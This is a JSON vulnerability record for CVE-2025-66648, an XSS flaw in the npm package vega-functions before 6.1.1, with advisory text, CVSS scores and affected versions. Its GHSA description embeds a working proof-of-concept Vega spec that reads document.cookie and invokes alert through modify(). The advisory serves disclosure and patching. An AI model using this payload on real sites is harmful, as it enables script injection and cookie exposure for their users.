{"id":"CVE-2025-66648","aliases":["CVE-2025-66648","GHSA-m9rg-mr6g-75gm"],"related":[],"kind":"vulnerability","state":"published","title":"`vega-functions` vulnerable to Cross-site Scripting via `setdata` function","summary":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). This issue is fixed in vega-functions `6.1.1`. There is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in CSP safe mode does not prevent this issue.","source":"cvelist"},{"lang":"en","text":"### Impact\n\nFor sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the [public API](https://vega.github.io/vega/docs/expressions/)) could be used to run unintentional javascript (XSS).\n\n### Patches\n\nFixed in vega-functions `6.1.1`\n\n### Workarounds\n\nThere is no workaround besides upgrading. Using `vega.expressionInterpreter` as described in [CSP safe mode](https://vega.github.io/vega/usage/interpreter/) does not prevent this issue.  \n\n\n### Exploit Proof of Concept\n\nVega's expression `modify()` [function](https://github.com/vega/vega/blob/d8add5819346e5af597d82ef8253742acc0283ba/packages/vega-functions/src/functions/modify.js#L40), used by setdata, allows attacker to control both the method called and the values supplied, which results to XSS . This was a previous POC:\n\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v6.json\",\n  \"data\": [\n    {\n      \"name\": \"table\",\n      \"values\": [\n        {\"category\": \"A\", \"amount\": 28}\n      ]\n    }\n  ],\n  \"signals\": [\n    {\n      \"name\": \"tooltip\",\n      \"value\": {},\n      \"on\": [\n        {\"events\": {\"type\":\"timer\",\"throttle\":2000}, \"update\": \"setdata('table',[['Domain: '+event.dataflow._el.ownerDocument.domain+' , cookies: '+ event.dataflow._el.ownerDocument.cookie ]])+warn('XSS is here', modify('table',2,3,null,event.dataflow._el.ownerDocument.defaultView.alert,{'tttt':'yyyy'}) )\"},\n        {\"events\": \"rect:pointerout\",  \"update\": \"{}\"}\n      ]\n    }\n  ]\n}\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"vega-functions proporciona implementaciones de funciones para el lenguaje de expresiones Vega. Antes de la versión 6.1.1, para sitios que permiten a los usuarios proporcionar entradas de usuario no confiables, el uso malicioso de una función interna (no parte de la API pública) podría utilizarse para ejecutar javascript no intencionado (XSS). Este problema se ha corregido en vega-functions '6.1.1'. No hay solución alternativa aparte de la actualización. El uso de 'vega.expressionInterpreter' como se describe en el modo seguro de CSP no evita este problema.","source":"nvd"}],"published":"2026-01-05T21:33:14.011Z","modified":"2026-10-14T19:10:00.297Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","score":7.2,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 6.1.1","status":"affected"}],"vendor":"vega","product":"vega","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.1.1"}],"ecosystem":"npm","package":"vega-functions","purl":"pkg:npm/vega-functions","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"6.1.1"}],"vendor":"vega-functions_project","product":"vega-functions","cpe":"cpe:2.3:a:vega-functions_project:vega-functions:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/vega/vega/security/advisories/GHSA-m9rg-mr6g-75gm","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66648","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/vega/vega","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-01-06T15:40:01.643Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-66648","url":"https://www.cve.org/CVERecord?id=CVE-2025-66648","licence":"CVE Terms of Use","modified":"2026-01-06T15:40:18.443Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m9rg-mr6g-75gm","url":"https://github.com/advisories/GHSA-m9rg-mr6g-75gm","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:33.310Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-66648","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66648","licence":"Public domain","modified":"2026-10-14T19:10:00.297Z"}],"updatedAt":"2026-11-25T22:59:10.301Z","epss":{"score":0.00224,"percentile":0.13889,"date":"2026-12-01T12:00:22.000Z"}}